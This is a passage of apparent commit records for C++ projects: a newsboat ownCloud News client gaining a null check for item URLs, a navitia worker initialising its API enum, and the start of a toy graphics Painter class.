folders_length; i++) {\n\t\tjson_object* folder =\n\t\t\tstatic_cast<json_object*>(folders_list->array[i]);\n\t\tjson_object* node;\n\n\t\tjson_object_object_get_ex(folder, \"id\", &node);\n\t\tlong folder_id = json_object_get_int(node);\n\n\t\tjson_object_object_get_ex(folder, \"name\", &node);\n\t\tfolders_map[folder_id] = json_object_get_string(node);\n\t}\n\n\trsspp::Feed starred;\n\tstarred.title = \"Starred\";\n\tstarred.link = server;\n\tstarred.rss_version = rsspp::OCNEWS_JSON;\n\n\tknown_feeds[\"Starred\"] = std::make_pair(starred, 0);\n\tresult.push_back(TaggedFeedUrl(\"Starred\", std::vector<std::string>()));\n\n\tjson_object* feeds;\n\tjson_object_object_get_ex(feeds_query, \"feeds\", &feeds);\n\n\tarray_list* feeds_list = json_object_get_array(feeds);\n\tint feeds_length = feeds_list->length;\n\n\tfor (int i = 0; i < feeds_length; i++) {\n\t\tjson_object* feed =\n\t\t\tstatic_cast<json_object*>(feeds_list->array[i]);\n\t\tjson_object* node;\n\t\trsspp::Feed current_feed;\n\n\t\tcurrent_feed.rss_version = rsspp::OCNEWS_JSON;\n\n\t\tjson_object_object_get_ex(feed, \"id\", &node);\n\t\tlong feed_id = json_object_get_int(node);\n\n\t\tjson_object_object_get_ex(feed, \"title\", &node);\n\t\tcurrent_feed.title = json_object_get_string(node);\n\n\t\tjson_object_object_get_ex(feed, \"url\", &node);\n\t\tcurrent_feed.link = json_object_get_string(node);\n\n\t\twhile (known_feeds.find(current_feed.title) !=\n\t\t\tknown_feeds.end())\n\t\t\tcurrent_feed.title += \"*\";\n\t\tknown_feeds[current_feed.title] =\n\t\t\tstd::make_pair(current_feed, feed_id);\n\n\t\tjson_object_object_get_ex(feed, \"folderId\", &node);\n\t\tlong folder_id = json_object_get_int(node);\n\n\t\tstd::vector<std::string> tags;\n\t\tif (folder_id != 0)\n\t\t\ttags.push_back(folders_map[folder_id]);\n\n\t\tresult.push_back(TaggedFeedUrl(current_feed.title, tags));\n\t}\n\n\tstd::sort(++begin(result),\n\t\tend(result),\n\t\t[](const TaggedFeedUrl& a, const TaggedFeedUrl& b) {\n\t\t\treturn a.first < b.first;\n\t\t});\n\n\treturn result;\n}\n\nbool OcNewsApi::mark_all_read(const std::string& feedurl)\n{\n\tlong id = known_feeds[feedurl].second;\n\n\tstd::string max = std::to_string(std::numeric_limits<long>::max());\n\tstd::string query =\n\t\t\"feeds\/\" + std::to_string(id) + \"\/read?newestItemId=\" + max;\n\n\treturn this->query(query, nullptr, \"{}\");\n}\n\nbool OcNewsApi::mark_article_read(const std::string& guid, bool read)\n{\n\tstd::string query = \"items\/\";\n\tquery += guid.substr(0, guid.find_first_of(\":\"));\n\n\tif (read)\n\t\tquery += \"\/read\";\n\telse\n\t\tquery += \"\/unread\";\n\n\treturn this->query(query, nullptr, \"{}\");\n}\n\nbool OcNewsApi::update_article_flags(const std::string& oldflags,\n\tconst std::string& newflags,\n\tconst std::string& guid)\n{\n\tstd::string star_flag = cfg->get_configvalue(\"ocnews-flag-star\");\n\tstd::string query = \"items\/\";\n\tquery += guid.substr(guid.find_first_of(\":\") + 1);\n\n\tif (star_flag.length() > 0) {\n\t\tif (strchr(oldflags.c_str(), star_flag[0]) == nullptr &&\n\t\t\tstrchr(newflags.c_str(), star_flag[0]) != nullptr) {\n\t\t\tquery += \"\/star\";\n\t\t} else if (strchr(oldflags.c_str(), star_flag[0]) != nullptr &&\n\t\t\tstrchr(newflags.c_str(), star_flag[0]) == nullptr) {\n\t\t\tquery += \"\/unstar\";\n\t\t}\n\t}\n\n\treturn this->query(query, nullptr, \"{}\");\n\t;\n}\n\nrsspp::Feed OcNewsApi::fetch_feed(const std::string& feed_id)\n{\n\trsspp::Feed feed = known_feeds[feed_id].first;\n\n\tstd::string query = \"items?\";\n\tquery += \"type=\" +\n\t\tstd::to_string(known_feeds[feed_id].second != 0 ? 0 : 2);\n\tquery += \"&id=\" + std::to_string(known_feeds[feed_id].second);\n\n\tjson_object* response;\n\tif (!this->query(query, &response))\n\t\treturn feed;\n\tJsonUptr response_uptr(response, json_object_put);\n\n\tjson_object* items;\n\tjson_object_object_get_ex(response, \"items\", &items);\n\tif (json_object_get_type(items) != json_type_array) {\n\t\tLOG(Level::ERROR,\n\t\t\t\"OcNewsApi::fetch_feed: items is not an array\");\n\t\treturn feed;\n\t}\n\n\tarray_list* list = json_object_get_array(items);\n\tint array_length = list->length;\n\n\tfeed.items.clear();\n\n\tfor (int i = 0; i < array_length; i++) {\n\t\tjson_object* item_j = static_cast<json_object*>(list->array[i]);\n\t\tjson_object* node;\n\t\trsspp::Item item;\n\n\t\tjson_object_object_get_ex(item_j, \"title\", &node);\n\t\titem.title = json_object_get_string(node);\n\n\t\tjson_object_object_get_ex(item_j, \"url\", &node);\n\t\titem.link = json_object_get_string(node);\n\n\t\tjson_object_object_get_ex(item_j, \"author\", &node);\n\t\titem.author = json_object_get_string(node);\n\n\t\tjson_object_object_get_ex(item_j, \"body\", &node);\n\t\titem.content_encoded = json_object_get_string(node);\n\n\t\t{\n\t\t\tjson_object* type_obj;\n\n\t\t\tjson_object_object_get_ex(\n\t\t\t\titem_j, \"enclosureMime\", &type_obj);\n\t\t\tjson_object_object_get_ex(\n\t\t\t\titem_j, \"enclosureLink\", &node);\n\n\t\t\tif (type_obj && node) {\n\t\t\t\tconst std::string type =\n\t\t\t\t\tjson_object_get_string(type_obj);\n\t\t\t\tif (Utils::is_valid_podcast_type(type)) {\n\t\t\t\t\titem.enclosure_url =\n\t\t\t\t\t\tjson_object_get_string(node);\n\t\t\t\t\titem.enclosure_type = std::move(type);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tjson_object_object_get_ex(item_j, \"id\", &node);\n\t\tlong id = json_object_get_int(node);\n\n\t\tjson_object_object_get_ex(item_j, \"feedId\", &node);\n\t\tlong f_id = json_object_get_int(node);\n\n\t\tjson_object_object_get_ex(item_j, \"guid\", &node);\n\t\titem.guid = std::to_string(id) + \":\" + std::to_string(f_id) +\n\t\t\t\"\/\" + json_object_get_string(node);\n\n\t\tjson_object_object_get_ex(item_j, \"unread\", &node);\n\t\tbool unread = json_object_get_boolean(node);\n\t\tif (unread) {\n\t\t\titem.labels.push_back(\"ocnews:unread\");\n\t\t} else {\n\t\t\titem.labels.push_back(\"ocnews:read\");\n\t\t}\n\n\t\tjson_object_object_get_ex(item_j, \"pubDate\", &node);\n\t\ttime_t updated = (time_t)json_object_get_int(node);\n\t\tchar rfc822_date[128];\n\t\tstrftime(rfc822_date,\n\t\t\tsizeof(rfc822_date),\n\t\t\t\"%a, %d %b %Y %H:%M:%S %z\",\n\t\t\tgmtime(&updated));\n\t\titem.pubDate = rfc822_date;\n\n\t\tfeed.items.push_back(item);\n\t}\n\n\treturn feed;\n}\n\nvoid OcNewsApi::add_custom_headers(curl_slist** \/* custom_headers *\/)\n{\n\t\/\/ nothing required\n}\n\nbool OcNewsApi::query(const std::string& query,\n\tjson_object** result,\n\tconst std::string& post)\n{\n\tCurlUptr curlhandle(curl_easy_init(), curl_easy_cleanup);\n\tCURL* handle = curlhandle.get();\n\n\tstd::string url = server + OCNEWS_API + query;\n\tcurl_easy_setopt(handle, CURLOPT_URL, url.c_str());\n\n\tUtils::set_common_curl_options(handle, cfg);\n\n\tstatic auto write_fn =\n\t\t[](void* buffer, size_t size, size_t nmemb, void* userp) {\n\t\t\tstd::string* pbuf = static_cast<std::string*>(userp);\n\t\t\tpbuf->append(\n\t\t\t\tstatic_cast<const char*>(buffer), size * nmemb);\n\t\t\treturn size * nmemb;\n\t\t};\n\tstd::string buff;\n\tcurl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, *write_fn);\n\tcurl_easy_setopt(handle, CURLOPT_WRITEDATA, &buff);\n\n\tif (!post.empty()) {\n\t\tcurl_easy_setopt(handle, CURLOPT_POST, 1);\n\t\tcurl_easy_setopt(handle, CURLOPT_POSTFIELDS, post.c_str());\n\t\tcurl_easy_setopt(handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n\t}\n\n\tcurl_easy_setopt(handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n\tcurl_easy_setopt(handle, CURLOPT_USERPWD, auth.c_str());\n\n\tCURLcode res = curl_easy_perform(handle);\n\n\tif (res != CURLE_OK && res != CURLE_HTTP_RETURNED_ERROR) {\n\t\tLOG(Level::CRITICAL,\n\t\t\t\"OcNewsApi::query: connection error code %i (%s)\",\n\t\t\tres,\n\t\t\tcurl_easy_strerror(res));\n\t\treturn false;\n\t}\n\n\tlong response_code;\n\tcurl_easy_getinfo(handle, CURLINFO_RESPONSE_CODE, &response_code);\n\tif (response_code != 200) {\n\t\tif (response_code == 401)\n\t\t\tLOG(Level::CRITICAL,\n\t\t\t\t\"OcNewsApi::query: authentication error\");\n\t\telse {\n\t\t\tstd::string msg = \"OcNewsApi::query: error \";\n\t\t\tmsg += response_code;\n\t\t\tLOG(Level::CRITICAL, msg);\n\t\t}\n\t\treturn false;\n\t}\n\n\tif (result)\n\t\t*result = json_tokener_parse(buff.c_str());\n\treturn true;\n}\n\n} \/\/ namespace newsboat\n<commit_msg>BUG: avoid null url in ocnews feed parser<commit_after>#include \"ocnewsapi.h\"\n\n#include <algorithm>\n#include <cstdio>\n#include <cstring>\n#include <curl\/curl.h>\n#include <json-c\/json.h>\n#include <memory>\n#include <time.h>\n\n#include \"utils.h\"\n\n#define OCNEWS_API \"\/index.php\/apps\/news\/api\/v1-2\/\"\n\nnamespace newsboat {\n\ntypedef std::unique_ptr<json_object, decltype(*json_object_put)> JsonUptr;\ntypedef std::unique_ptr<CURL, decltype(*curl_easy_cleanup)> CurlUptr;\n\nOcNewsApi::OcNewsApi(ConfigContainer* c)\n\t: RemoteApi(c)\n{\n\tserver = cfg->get_configvalue(\"ocnews-url\");\n\n\tif (server.empty())\n\t\tLOG(Level::CRITICAL,\n\t\t\t\"OcNewsApi::OcNewsApi: No owncloud server set\");\n}\n\nOcNewsApi::~OcNewsApi() {}\n\nbool OcNewsApi::authenticate()\n{\n\tauth = retrieve_auth();\n\tif (auth.empty()) {\n\t\treturn false;\n\t}\n\treturn query(\"status\");\n}\n\nstd::string OcNewsApi::retrieve_auth()\n{\n\tCredentials cred = get_credentials(\"ocnews\", \"ocNews\");\n\tif (cred.user.empty() || cred.pass.empty()) {\n\t\tLOG(Level::CRITICAL,\n\t\t\t\"OcNewsApi::retrieve_auth: No user and\/or password \"\n\t\t\t\"set\");\n\t\treturn \"\";\n\t}\n\treturn cred.user + \":\" + cred.pass;\n}\n\nstd::vector<TaggedFeedUrl> OcNewsApi::get_subscribed_urls()\n{\n\tstd::vector<TaggedFeedUrl> result;\n\tstd::map<long, std::string> folders_map;\n\n\tjson_object* feeds_query;\n\tif (!query(\"feeds\", &feeds_query))\n\t\treturn result;\n\tJsonUptr feeds_uptr(feeds_query, json_object_put);\n\n\tjson_object* folders_query;\n\tif (!query(\"folders\", &folders_query))\n\t\treturn result;\n\tJsonUptr folders_uptr(folders_query, json_object_put);\n\n\tjson_object* folders;\n\tjson_object_object_get_ex(folders_query, \"folders\", &folders);\n\n\tarray_list* folders_list = json_object_get_array(folders);\n\tint folders_length = folders_list->length;\n\n\tfor (int i = 0; i < folders_length; i++) {\n\t\tjson_object* folder =\n\t\t\tstatic_cast<json_object*>(folders_list->array[i]);\n\t\tjson_object* node;\n\n\t\tjson_object_object_get_ex(folder, \"id\", &node);\n\t\tlong folder_id = json_object_get_int(node);\n\n\t\tjson_object_object_get_ex(folder, \"name\", &node);\n\t\tfolders_map[folder_id] = json_object_get_string(node);\n\t}\n\n\trsspp::Feed starred;\n\tstarred.title = \"Starred\";\n\tstarred.link = server;\n\tstarred.rss_version = rsspp::OCNEWS_JSON;\n\n\tknown_feeds[\"Starred\"] = std::make_pair(starred, 0);\n\tresult.push_back(TaggedFeedUrl(\"Starred\", std::vector<std::string>()));\n\n\tjson_object* feeds;\n\tjson_object_object_get_ex(feeds_query, \"feeds\", &feeds);\n\n\tarray_list* feeds_list = json_object_get_array(feeds);\n\tint feeds_length = feeds_list->length;\n\n\tfor (int i = 0; i < feeds_length; i++) {\n\t\tjson_object* feed =\n\t\t\tstatic_cast<json_object*>(feeds_list->array[i]);\n\t\tjson_object* node;\n\t\trsspp::Feed current_feed;\n\n\t\tcurrent_feed.rss_version = rsspp::OCNEWS_JSON;\n\n\t\tjson_object_object_get_ex(feed, \"id\", &node);\n\t\tlong feed_id = json_object_get_int(node);\n\n\t\tjson_object_object_get_ex(feed, \"title\", &node);\n\t\tcurrent_feed.title = json_object_get_string(node);\n\n\t\tjson_object_object_get_ex(feed, \"url\", &node);\n\t\tcurrent_feed.link = json_object_get_string(node);\n\n\t\twhile (known_feeds.find(current_feed.title) !=\n\t\t\tknown_feeds.end())\n\t\t\tcurrent_feed.title += \"*\";\n\t\tknown_feeds[current_feed.title] =\n\t\t\tstd::make_pair(current_feed, feed_id);\n\n\t\tjson_object_object_get_ex(feed, \"folderId\", &node);\n\t\tlong folder_id = json_object_get_int(node);\n\n\t\tstd::vector<std::string> tags;\n\t\tif (folder_id != 0)\n\t\t\ttags.push_back(folders_map[folder_id]);\n\n\t\tresult.push_back(TaggedFeedUrl(current_feed.title, tags));\n\t}\n\n\tstd::sort(++begin(result),\n\t\tend(result),\n\t\t[](const TaggedFeedUrl& a, const TaggedFeedUrl& b) {\n\t\t\treturn a.first < b.first;\n\t\t});\n\n\treturn result;\n}\n\nbool OcNewsApi::mark_all_read(const std::string& feedurl)\n{\n\tlong id = known_feeds[feedurl].second;\n\n\tstd::string max = std::to_string(std::numeric_limits<long>::max());\n\tstd::string query =\n\t\t\"feeds\/\" + std::to_string(id) + \"\/read?newestItemId=\" + max;\n\n\treturn this->query(query, nullptr, \"{}\");\n}\n\nbool OcNewsApi::mark_article_read(const std::string& guid, bool read)\n{\n\tstd::string query = \"items\/\";\n\tquery += guid.substr(0, guid.find_first_of(\":\"));\n\n\tif (read)\n\t\tquery += \"\/read\";\n\telse\n\t\tquery += \"\/unread\";\n\n\treturn this->query(query, nullptr, \"{}\");\n}\n\nbool OcNewsApi::update_article_flags(const std::string& oldflags,\n\tconst std::string& newflags,\n\tconst std::string& guid)\n{\n\tstd::string star_flag = cfg->get_configvalue(\"ocnews-flag-star\");\n\tstd::string query = \"items\/\";\n\tquery += guid.substr(guid.find_first_of(\":\") + 1);\n\n\tif (star_flag.length() > 0) {\n\t\tif (strchr(oldflags.c_str(), star_flag[0]) == nullptr &&\n\t\t\tstrchr(newflags.c_str(), star_flag[0]) != nullptr) {\n\t\t\tquery += \"\/star\";\n\t\t} else if (strchr(oldflags.c_str(), star_flag[0]) != nullptr &&\n\t\t\tstrchr(newflags.c_str(), star_flag[0]) == nullptr) {\n\t\t\tquery += \"\/unstar\";\n\t\t}\n\t}\n\n\treturn this->query(query, nullptr, \"{}\");\n\t;\n}\n\nrsspp::Feed OcNewsApi::fetch_feed(const std::string& feed_id)\n{\n\trsspp::Feed feed = known_feeds[feed_id].first;\n\n\tstd::string query = \"items?\";\n\tquery += \"type=\" +\n\t\tstd::to_string(known_feeds[feed_id].second != 0 ? 0 : 2);\n\tquery += \"&id=\" + std::to_string(known_feeds[feed_id].second);\n\n\tjson_object* response;\n\tif (!this->query(query, &response))\n\t\treturn feed;\n\tJsonUptr response_uptr(response, json_object_put);\n\n\tjson_object* items;\n\tjson_object_object_get_ex(response, \"items\", &items);\n\tif (json_object_get_type(items) != json_type_array) {\n\t\tLOG(Level::ERROR,\n\t\t\t\"OcNewsApi::fetch_feed: items is not an array\");\n\t\treturn feed;\n\t}\n\n\tarray_list* list = json_object_get_array(items);\n\tint array_length = list->length;\n\n\tfeed.items.clear();\n\n\tfor (int i = 0; i < array_length; i++) {\n\t\tjson_object* item_j = static_cast<json_object*>(list->array[i]);\n\t\tjson_object* node;\n\t\trsspp::Item item;\n\n\t\tjson_object_object_get_ex(item_j, \"title\", &node);\n\t\titem.title = json_object_get_string(node);\n\n\t\tjson_object_object_get_ex(item_j, \"url\", &node);\n\t\tif (node) {\n\t\t\titem.link = json_object_get_string(node);\n\t\t}\n\n\t\tjson_object_object_get_ex(item_j, \"author\", &node);\n\t\titem.author = json_object_get_string(node);\n\n\t\tjson_object_object_get_ex(item_j, \"body\", &node);\n\t\titem.content_encoded = json_object_get_string(node);\n\n\t\t{\n\t\t\tjson_object* type_obj;\n\n\t\t\tjson_object_object_get_ex(\n\t\t\t\titem_j, \"enclosureMime\", &type_obj);\n\t\t\tjson_object_object_get_ex(\n\t\t\t\titem_j, \"enclosureLink\", &node);\n\n\t\t\tif (type_obj && node) {\n\t\t\t\tconst std::string type =\n\t\t\t\t\tjson_object_get_string(type_obj);\n\t\t\t\tif (Utils::is_valid_podcast_type(type)) {\n\t\t\t\t\titem.enclosure_url =\n\t\t\t\t\t\tjson_object_get_string(node);\n\t\t\t\t\titem.enclosure_type = std::move(type);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tjson_object_object_get_ex(item_j, \"id\", &node);\n\t\tlong id = json_object_get_int(node);\n\n\t\tjson_object_object_get_ex(item_j, \"feedId\", &node);\n\t\tlong f_id = json_object_get_int(node);\n\n\t\tjson_object_object_get_ex(item_j, \"guid\", &node);\n\t\titem.guid = std::to_string(id) + \":\" + std::to_string(f_id) +\n\t\t\t\"\/\" + json_object_get_string(node);\n\n\t\tjson_object_object_get_ex(item_j, \"unread\", &node);\n\t\tbool unread = json_object_get_boolean(node);\n\t\tif (unread) {\n\t\t\titem.labels.push_back(\"ocnews:unread\");\n\t\t} else {\n\t\t\titem.labels.push_back(\"ocnews:read\");\n\t\t}\n\n\t\tjson_object_object_get_ex(item_j, \"pubDate\", &node);\n\t\ttime_t updated = (time_t)json_object_get_int(node);\n\t\tchar rfc822_date[128];\n\t\tstrftime(rfc822_date,\n\t\t\tsizeof(rfc822_date),\n\t\t\t\"%a, %d %b %Y %H:%M:%S %z\",\n\t\t\tgmtime(&updated));\n\t\titem.pubDate = rfc822_date;\n\n\t\tfeed.items.push_back(item);\n\t}\n\n\treturn feed;\n}\n\nvoid OcNewsApi::add_custom_headers(curl_slist** \/* custom_headers *\/)\n{\n\t\/\/ nothing required\n}\n\nbool OcNewsApi::query(const std::string& query,\n\tjson_object** result,\n\tconst std::string& post)\n{\n\tCurlUptr curlhandle(curl_easy_init(), curl_easy_cleanup);\n\tCURL* handle = curlhandle.get();\n\n\tstd::string url = server + OCNEWS_API + query;\n\tcurl_easy_setopt(handle, CURLOPT_URL, url.c_str());\n\n\tUtils::set_common_curl_options(handle, cfg);\n\n\tstatic auto write_fn =\n\t\t[](void* buffer, size_t size, size_t nmemb, void* userp) {\n\t\t\tstd::string* pbuf = static_cast<std::string*>(userp);\n\t\t\tpbuf->append(\n\t\t\t\tstatic_cast<const char*>(buffer), size * nmemb);\n\t\t\treturn size * nmemb;\n\t\t};\n\tstd::string buff;\n\tcurl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, *write_fn);\n\tcurl_easy_setopt(handle, CURLOPT_WRITEDATA, &buff);\n\n\tif (!post.empty()) {\n\t\tcurl_easy_setopt(handle, CURLOPT_POST, 1);\n\t\tcurl_easy_setopt(handle, CURLOPT_POSTFIELDS, post.c_str());\n\t\tcurl_easy_setopt(handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n\t}\n\n\tcurl_easy_setopt(handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n\tcurl_easy_setopt(handle, CURLOPT_USERPWD, auth.c_str());\n\n\tCURLcode res = curl_easy_perform(handle);\n\n\tif (res != CURLE_OK && res != CURLE_HTTP_RETURNED_ERROR) {\n\t\tLOG(Level::CRITICAL,\n\t\t\t\"OcNewsApi::query: connection error code %i (%s)\",\n\t\t\tres,\n\t\t\tcurl_easy_strerror(res));\n\t\treturn false;\n\t}\n\n\tlong response_code;\n\tcurl_easy_getinfo(handle, CURLINFO_RESPONSE_CODE, &response_code);\n\tif (response_code != 200) {\n\t\tif (response_code == 401)\n\t\t\tLOG(Level::CRITICAL,\n\t\t\t\t\"OcNewsApi::query: authentication error\");\n\t\telse {\n\t\t\tstd::string msg = \"OcNewsApi::query: error \";\n\t\t\tmsg += response_code;\n\t\t\tLOG(Level::CRITICAL, msg);\n\t\t}\n\t\treturn false;\n\t}\n\n\tif (result)\n\t\t*result = json_tokener_parse(buff.c_str());\n\treturn true;\n}\n\n} \/\/ namespace newsboat\n<|endoftext|>"}
{"text":"<commit_before>\/\/on inclue simpleAmqpClient dés le début, sinon probléme avec la compatibilité C++ 11\n#define BOOST_NO_CXX11_RVALUE_REFERENCES\n#include <SimpleAmqpClient\/SimpleAmqpClient.h>\n#include \"worker.h\"\n#include \"maintenance_worker.h\"\n#include \"type\/type.pb.h\"\n#include <google\/protobuf\/descriptor.h>\n\n#include <zmq.hpp>\n#include <boost\/thread.hpp>\n#include <functional>\n#include <string>\n#include <iostream>\n#include \"utils\/logger.h\"\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n\nnamespace pt = boost::posix_time;\n\nvoid doWork(zmq::context_t & context, navitia::type::Data** data) {\n    auto logger = log4cplus::Logger::getInstance(\"worker\");\n    try{\n        zmq::socket_t socket (context, ZMQ_REP);\n        socket.connect (\"inproc:\/\/workers\");\n        bool run = true;\n        navitia::Worker w(data);\n        while(run) {\n            zmq::message_t request;\n            try{\n                \/\/ Wait for next request from client\n                socket.recv(&request);\n            }catch(zmq::error_t){\n                \/\/on gére le cas du sighup durant un recv\n                continue;\n            }\n\n            pbnavitia::Request pb_req;\n            pbnavitia::Response result;\n            pt::ptime start = pt::microsec_clock::local_time();\n            pbnavitia::API api;\n            if(pb_req.ParseFromArray(request.data(), request.size())){\n                \/*auto*\/ api = pb_req.requested_api();\n                if(api != pbnavitia::METADATAS){\n                    LOG4CPLUS_DEBUG(logger, \"receive request: \"\n                            << pb_req.DebugString());\n                }\n                result = w.dispatch(pb_req);\n               LOG4CPLUS_TRACE(logger, \"response: \" << result.DebugString());\n            }else{\n               LOG4CPLUS_WARN(logger, \"receive invalid protobuf\");\n               result.mutable_error()->set_id(\n                       pbnavitia::Error::invalid_protobuf_request);\n            }\n            zmq::message_t reply(result.ByteSize());\n            result.SerializeToArray(reply.data(), result.ByteSize());\n            socket.send(reply);\n\n            if(api != pbnavitia::METADATAS){\n                LOG4CPLUS_DEBUG(logger, \"processing time : \"\n                        << (pt::microsec_clock::local_time() - start).total_milliseconds());\n            }\n        }\n    }catch(const std::exception& e){\n        LOG4CPLUS_ERROR(logger, \"worker die: \" << e.what());\n    }\n}\n\n\nint main(int, char** argv){\n    Configuration * conf = Configuration::get();\n    std::string::size_type posSlash = std::string(argv[0]).find_last_of( \"\\\\\/\" );\n    conf->set_string(\"application\", std::string(argv[0]).substr(posSlash+1));\n    char buf[256];\n    if(getcwd(buf, 256)) conf->set_string(\"path\",std::string(buf) + \"\/\"); else conf->set_string(\"path\", \"unknown\");\n\n\n    navitia::type::Data* data = new navitia::type::Data();\n\n\n    boost::thread_group threads;\n    \/\/ Prepare our context and sockets\n    zmq::context_t context(1);\n    zmq::socket_t clients(context, ZMQ_ROUTER);\n    std::string zmq_socket = conf->get_as<std::string>(\"GENERAL\", \"zmq_socket\", \"ipc:\/\/\/tmp\/default_navitia\");\n    clients.bind(zmq_socket.c_str());\n    zmq::socket_t workers(context, ZMQ_DEALER);\n    workers.bind(\"inproc:\/\/workers\");\n\n    \/\/ Launch pool of worker threads\n    for(int thread_nbr = 0; thread_nbr < data->nb_threads; ++thread_nbr) {\n        threads.create_thread(std::bind(&doWork, std::ref(context), &data));\n    }\n    threads.create_thread(navitia::MaintenanceWorker(&data));\n\n    \/\/ Connect work threads to client threads via a queue\n    do{\n        try{\n            zmq::device(ZMQ_QUEUE, clients, workers);\n        }catch(zmq::error_t){}\/\/lors d'un SIGHUP on restore la queue\n    }while(true);\n\n    return 0;\n}\n\n<commit_msg>Kraken : Ajout d'une api UNKNOWN<commit_after>\/\/on inclue simpleAmqpClient dés le début, sinon probléme avec la compatibilité C++ 11\n#define BOOST_NO_CXX11_RVALUE_REFERENCES\n#include <SimpleAmqpClient\/SimpleAmqpClient.h>\n#include \"worker.h\"\n#include \"maintenance_worker.h\"\n#include \"type\/type.pb.h\"\n#include <google\/protobuf\/descriptor.h>\n\n#include <zmq.hpp>\n#include <boost\/thread.hpp>\n#include <functional>\n#include <string>\n#include <iostream>\n#include \"utils\/logger.h\"\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n\nnamespace pt = boost::posix_time;\n\nvoid doWork(zmq::context_t & context, navitia::type::Data** data) {\n    auto logger = log4cplus::Logger::getInstance(\"worker\");\n    try{\n        zmq::socket_t socket (context, ZMQ_REP);\n        socket.connect (\"inproc:\/\/workers\");\n        bool run = true;\n        navitia::Worker w(data);\n        while(run) {\n            zmq::message_t request;\n            try{\n                \/\/ Wait for next request from client\n                socket.recv(&request);\n            }catch(zmq::error_t){\n                \/\/on gére le cas du sighup durant un recv\n                continue;\n            }\n\n            pbnavitia::Request pb_req;\n            pbnavitia::Response result;\n            pt::ptime start = pt::microsec_clock::local_time();\n            pbnavitia::API api = pbnavitia::UNKNOWN_API;\n            if(pb_req.ParseFromArray(request.data(), request.size())){\n                \/*auto*\/ api = pb_req.requested_api();\n                if(api != pbnavitia::METADATAS){\n                    LOG4CPLUS_DEBUG(logger, \"receive request: \"\n                            << pb_req.DebugString());\n                }\n                result = w.dispatch(pb_req);\n               LOG4CPLUS_TRACE(logger, \"response: \" << result.DebugString());\n            }else{\n               LOG4CPLUS_WARN(logger, \"receive invalid protobuf\");\n               result.mutable_error()->set_id(\n                       pbnavitia::Error::invalid_protobuf_request);\n            }\n            zmq::message_t reply(result.ByteSize());\n            result.SerializeToArray(reply.data(), result.ByteSize());\n            socket.send(reply);\n\n            if(api != pbnavitia::METADATAS){\n                LOG4CPLUS_DEBUG(logger, \"processing time : \"\n                        << (pt::microsec_clock::local_time() - start).total_milliseconds());\n            }\n        }\n    }catch(const std::exception& e){\n        LOG4CPLUS_ERROR(logger, \"worker die: \" << e.what());\n    }\n}\n\n\nint main(int, char** argv){\n    Configuration * conf = Configuration::get();\n    std::string::size_type posSlash = std::string(argv[0]).find_last_of( \"\\\\\/\" );\n    conf->set_string(\"application\", std::string(argv[0]).substr(posSlash+1));\n    char buf[256];\n    if(getcwd(buf, 256)) conf->set_string(\"path\",std::string(buf) + \"\/\"); else conf->set_string(\"path\", \"unknown\");\n\n\n    navitia::type::Data* data = new navitia::type::Data();\n\n\n    boost::thread_group threads;\n    \/\/ Prepare our context and sockets\n    zmq::context_t context(1);\n    zmq::socket_t clients(context, ZMQ_ROUTER);\n    std::string zmq_socket = conf->get_as<std::string>(\"GENERAL\", \"zmq_socket\", \"ipc:\/\/\/tmp\/default_navitia\");\n    clients.bind(zmq_socket.c_str());\n    zmq::socket_t workers(context, ZMQ_DEALER);\n    workers.bind(\"inproc:\/\/workers\");\n\n    \/\/ Launch pool of worker threads\n    for(int thread_nbr = 0; thread_nbr < data->nb_threads; ++thread_nbr) {\n        threads.create_thread(std::bind(&doWork, std::ref(context), &data));\n    }\n    threads.create_thread(navitia::MaintenanceWorker(&data));\n\n    \/\/ Connect work threads to client threads via a queue\n    do{\n        try{\n            zmq::device(ZMQ_QUEUE, clients, workers);\n        }catch(zmq::error_t){}\/\/lors d'un SIGHUP on restore la queue\n    }while(true);\n\n    return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"toy\/graph\/Brush.hpp\"\n#include \"toy\/graph\/Painter.hpp\"\n#include \"toy\/graph\/ModelBuffer.hpp\"\n#include \"toy\/graph\/Image.hpp\"\n\nusing namespace toy;\nusing namespace graph;\n\nPainter::Painter()\n{\n\tbool err = false;\n\t_brush = std::make_shared<toy::graph::Brush>(toy::WHATEVER,&err);\n\n\tif ( err==false )\n\t{\n\t\ttoy::Oops(TOY_MARK);\n\t\tthrow std::runtime_error(\"Painter can't build brush\");\n\t}\n}\n\nPainter::Painter(std::shared_ptr<Brush> brush):_brush(brush)\n{\n\t;\n}\n\nPainter::~Painter()\n{\n\t;\n}\n\nauto Painter::brush()->std::shared_ptr<Brush>\n{\n\treturn _brush;\n}\n\nauto Painter::newTexture(const toy::ImageBuffer &image)->::toy::graph::Texture\n{\n\tauto   texture = _brush->newTexture(image);\n\n\t\/*\n\t * Maybe I have to implement something like this.\n\t * texture->addBrush(_brush);\n\t *\/\n\n\treturn texture;\n}\n\nauto Painter::newImage(float x, float y,float width,float height,toy::graph::Texture id)->std::shared_ptr<toy::graph::Image>\n{\n\tstd::vector<toy::graph::VertexBuffer>  vbuffer(4);\n\n\tvbuffer[0].setPosition(x, y, 0);\n\tvbuffer[0].setVector(0.0,0.0,1.0);\n\tvbuffer[0].setTexture(0.0,0.0);\n\n\tvbuffer[1].setPosition(x, height+y, 0);\n\tvbuffer[1].setVector(0.0,0.0,1.0);\n\tvbuffer[1].setTexture(0.0,1.0);\n\n\tvbuffer[2].setPosition(width+x, height+y, 0);\n\tvbuffer[2].setVector(0.0,0.0,1.0);\n\tvbuffer[2].setTexture(1.0,1.0);\n\n\tvbuffer[3].setPosition(width+x, y, 0);\n\tvbuffer[3].setVector(0.0,0.0,1.0);\n\tvbuffer[3].setTexture(1.0,0.0);\n\n\ttoy::graph::ModelBuffer   modelBuffer(_brush);\n\n\tmodelBuffer.setShape(vbuffer);\n\tmodelBuffer.setIndices({0,1,2,0,2,3});\n\n\tauto   image = std::make_shared<toy::graph::Image>(_brush);\n\n\timage->setModel(modelBuffer);\n\timage->setTexture(id);\n\n\treturn image;\n}\n<commit_msg>Clockwise -> 